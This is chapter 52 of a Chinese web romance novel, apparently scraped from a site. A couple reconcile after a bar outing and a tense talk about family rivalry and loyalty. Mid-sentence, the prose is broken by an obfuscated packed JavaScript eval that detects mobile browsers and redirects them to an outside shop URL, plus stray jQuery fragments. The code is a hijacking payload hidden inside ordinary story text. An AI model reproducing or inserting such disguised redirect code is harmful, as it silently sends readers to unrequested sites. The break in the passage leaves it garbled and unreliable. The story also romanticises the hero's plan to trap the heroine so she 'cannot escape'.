52
关闻西微笑,不说话。
他看她的目光很复杂。
白棠心虚,这些时间躲着他的人是她,主动来这边找他的也是她,她甚至没时间思考关闻西怎么出现在这里,只是下意识地想要带他离开,不想看到旁边的女人。
把酒杯放在旁边,白棠揉了揉额角,“我有点累,你送我们回家好不好?安婷也很累了。”
“回家?”
“嗯,很晚了。”
关闻西看了一眼旁边的男人,站起身,“那我们先走了,你们继续。”
看他们三人离开,坐在沙发上的郁乔终于爆笑出声,看了眼旁边的严朔,“走吧,我们也回去吧。”
安婷出了酒吧才想起二楼还有朋友,又进去和他们告别。关闻西顺便买了单,这才离开。
好些天没坐在关闻西的车,白棠看了看安婷,还是陪着坐在了后座,看副驾驶上的关闻西,“我们先送安婷回家。”
敏锐地捕捉到她话里的深意,关闻西透过后视镜看她一眼,唇角微扬,“好。”
没有再问,关闻西直接向代驾报了地址。
送了安婷回家,还陪着她聊了一会,关闻西和白棠两人这才回家。
隔了几天再回到关闻西的住处,白棠觉得房间里都弥漫着一股微妙的感觉。
她轻咳两声,坐在沙发上偷瞄换了一身居家服的关闻西,有些遗憾那时没多看几眼酒吧里有些不羁的关闻西,他衣衫微乱对着别人的女人微微一笑,她虽然看得很恼火,却是不得不承认他的魅力。
想到那女人,白棠倒了水,一口气喝掉大半杯,“那个姐姐是谁啊?”
关闻西没有坐在沙发上,寻了高脚凳坐在室内调酒台前,倒了一杯酒也没喝,就只是看着,和她隔了一些距离,“你说哪个?”
“还有很多吗?当然是坐在你旁边的。”
勾起唇角,他笑了,“郁乔吗,一个朋友。”
“朋友,我怎么没见过?”
“酒会上认识的,你不是不喜欢那种环境吗?”
白棠咬了一下唇,她确实不喜欢,因为关闻西参加的聚会往往都是成功人士之间的联络聚会,说是一起出来玩,其实都是各怀心思,都想扩展自己的人脉,实在是无聊得要命,她跟着去了两次,除了吃东西,她实在懒得应付那些人脸上谄媚的假笑,干脆就不去。
“其实还好啦,有很多好吃的。”
“你要是喜欢,我带你去。”
“谁喜……有一点感兴趣。”白棠挫败极了,她不知道为什么气氛这样古怪,以前无论是说什么做什么都是关闻西配合她,可今天却像是翻了个样,主动权完全被关闻西掌控了,害她说话还要认真一些,生怕说了让他不开心的。
“嗯。”
听他漫不经心地应了一声,白棠按捺不住地继续追问:“你和她就真的只是朋友吗?”
话音一落,关闻西看向她,眸光幽深,微扬的嘴角看着似笑非笑,“如果不是朋友,还能是什么?”
白棠干笑,“哦。”
“说不定以后会有沾点别的关系。”无视她脸上露出的轻松,关闻西又不紧不慢地说道。
他这话白棠觉得十分刺耳,可她心里虽然不舒服,却不知道该怎么发泄她的不满。
像是没看到她的烦闷,关闻西又撂下重磅炸弹,“我很欣赏她。”
“你说什么?”白棠彻底坐不住了。
罔顾她的焦急,关闻西喝了一口酒,“还有点佩服,她是很聪明的女人,从不会步步紧逼,却选择润物细无声地靠近猎物,也足够优秀,冷静、理智,是个适合家族联姻的对象。”
白棠愣住了。关闻西从来没在她面前说出这种话,无论在别人眼中这个男人是不是冷傲,在她面前都是温柔的,尽管没有每天把宠爱诉诸于口,一举一动却都透着有别于其他人的亲昵,现在突然看到他这样。
她的心一下子就快跳起来,强烈的不安感觉冒出来。
白棠翕动着双唇想说什么,还是不知道该怎么开口好。
关闻西没有喝完杯中酒,“很晚了,去睡吧。”
这会的白棠哪里还顾得上之前的尴尬,心里、眼里都只剩下不安,踟蹰在那里不肯回去,看他要回房间,终于脱口而出,“你是故意气我对不对?因为我去安婷那里没回来让你不开心,就故意说这些话气我。”
关闻西背对她,看不到表情,“胡思乱想什么。”
“关闻西,你不是这么想的对不对?婚姻这件事要很严肃,怎么能随意决定,没有爱情根本不会幸福的。”
关闻西笑了,转过头看着她,如同看着小孩子的眼神,“爱情这东西很奢侈,很难得遇到,就算遇到也未必能抓住,擦肩而过的人太多了。”
“关闻西……”
“你今天怎么了,为什么非要追问?要真是尊重婚姻,重视爱情,怎么会和我维持这种关系?”
“白棠,说到底,你是不信任我。”
最终,还是提到她最不敢提到的事情。
白棠有点胆怯,可看关闻西淡淡的表情,又忍不住解释,“我没有。”
“是吗?”那纤细的手指快被搓断了,关闻西终究狠不下心来,转了话题,“今天酒吧的男孩子不错,很帅气。”
“谁?”她一头雾水,“我和安婷去的,根本没有别人。”说着想到和自己说话的男人,恍然大悟,“那是安婷单位的同事。”
“哦。”
不确定他是不是因为这个生气,她小心地保证,“我都忘了他长什么样了。”
“是吗?”
“是啊,你还生气吗?”
“我什么时候生气了?”
看他不解的表情,白棠失落,难道她想错了?
以前关闻西做每件事的原因、结果都隐瞒不了她,结果他今天露出一点异态,她竟然看不懂,这怎么能不让人觉得失落。
“你没生气就好了。”
“嗯。”
看他表情稍霁,白棠的心情也好了点,“那天的事情,你不问问我吗?”
“哪天?”
“就是开会那天,在楼梯间……”她强自镇定,“那个女人主动找我,一定有阴谋。”
“哦,她说了什么?”
“她说你故意带我去,是让我证明你对关克明的行为并不知情,也是让公司人知道,我站在了你身后,是你的支持者。”
瞥她一眼,关闻西的目光有些嘲讽,微微笑着,却透着冷意,“那你支持我还是支持关厉东?”
被他看得浑身紧张,白棠愕然,“可是……为什么非要选一个?”
“没有为什么,古往今来成王败寇,思考了这么多天,你还没想好吗?”
他的话锋凌厉,白棠不知道该怎么回答。
“如果不想选也没关系。”关闻西的眸光中露出片刻的黯然,“我总不会勉强你做什么事情,只要以后离我远一些,就不会为难了,我刚才说过了,大哥和我总要有个胜负。”
他口气平静,话语刺耳。
白棠听得眉头紧锁,“你这……根本就是在逼我。”
“如果是,你该怎么办?”
“我……”
看她犹豫,关闻西抬腿欲走,“你可以好好想想。”
看他透着决绝的背影,白棠脱口而出。
“我选你。”
房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12089009|126474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里安静下来,过了一会关闻西才转身,眼底露出笑意,“真的?”
跺了一下脚,白棠瞪他,“身上都是酒味,臭死了,还不快去洗澡,都要把我熏死了。”
他不急不恼,微微一笑,“我这就去洗。”
转身走了两步,突然又转身,盯着身后用了破釜沉舟的勇气做出抉择的女孩,露出困扰的表情,“今晚你留在这里吗?”
“不然呢?”
“哦,这样啊,那你要睡在我的房间了,客卧的床坏了。”
“怎么会?”
“就是啊,怎么会坏呢,很突然就塌掉了,还没来得及换掉。”关闻西撂下这话,就往浴室里走。
来到浴室,关闻西站在温热的水流下面,他才露出些微笑容,突然想到一个小时前和严朔交谈的画面。
那时候郁乔正好不在,严朔看他心情不好,笑了笑,“怎么,最近遇到什么烦心事?闷闷不乐的,居然还来了酒吧。”
“没有。”关闻西不冷不热地回答。
“我猜,又是关厉东那位妹妹的事情,怎么,还没告诉她你的心思?”
听他说完,关闻西突然抬头,借着光束看向二楼某个位置,勾唇一笑,“不急。”
“你确定?现在的你看起来跟你哥当年一样废。”
“不急。”关闻西举起酒杯示意,微笑,“我有的是耐心,总要织好天罗地网,确保她逃不掉才行。”
“为什么一定要这样,干脆、直接地告诉她不是更省事?”严朔不解。
“所以你跟郁乔到现在结不成婚。”
关闻西喟叹着,“如果我说了她会更有恃无恐,所以我宁愿慢慢把人拉进我的网里,要她无路可逃。”
想到严朔最后无奈的笑容,关闻西也忍不住叹了一口气。若不是对白棠太在乎,他何必这样费尽心思。
正想着当时的事情,从外面浴室走过来的白棠已经砰砰地敲门,“关闻西,你干嘛把外面的浴室也弄坏?”
听着她不满地抱怨,关闻西靠在凉凉的墙上,笑了。
守着浴室等洗澡,白棠的手指在玻璃墙上划动,还时不时用指甲弄出些声音,她努力想让自己装作什么都不在意,可事实上心跳得很快。
随着浴室里传来的水声停下,白棠的一颗心七上八下得简直让她的呼吸近乎失控,好不容易找到一点理智,意识到她堵在男人洗澡的浴室外面,看起来像个女色狼,她立刻就要离开。
可关闻西没给她这个机会,就在她转身想跑的时候,浴室门打开了,他□□着上身,只围浴巾,头发湿漉漉地垂下来,并没有擦得很干。
白棠的目光根本不知道落在哪里才好,可无论怎么躲闪,余光都能扫到结实肌肉的男人身体,脸颊烫起来,为了掩饰不自在,干脆就装着不满的样子抱怨道:“这么久,你怎么不吹干头发再出来、这样会感冒的。”
真奇怪,以前这种画面她经常看到几次,哪怕关闻西在洗澡也经常闯进去卧室,好几次看到这种春光,可根本不会别扭成这样,想来想去还是身心变了,因为被他训练的食髓知味,所以特别容易荡漾。
抬眸似笑非笑看她,关闻西闪身给她让出位置,“你不是急着洗澡吗?”
“我才不急,还不都是你弄坏了外面的浴室。”
“那是它自己坏的。”
“信你才怪。”白棠进了浴室,看关闻西站在门口不打算离开,赶紧关上门,还小心翼翼地看了看磨砂的玻璃墙,想看看能不能看清外面,幸好密闭性很好,这让她放下心来,开始脱衣服。
浴室里很安静,只有她脱衣服的时候所发出的窸窸窣窣声,外面也是,除了脚步和翻动东西的声音,只剩下安静。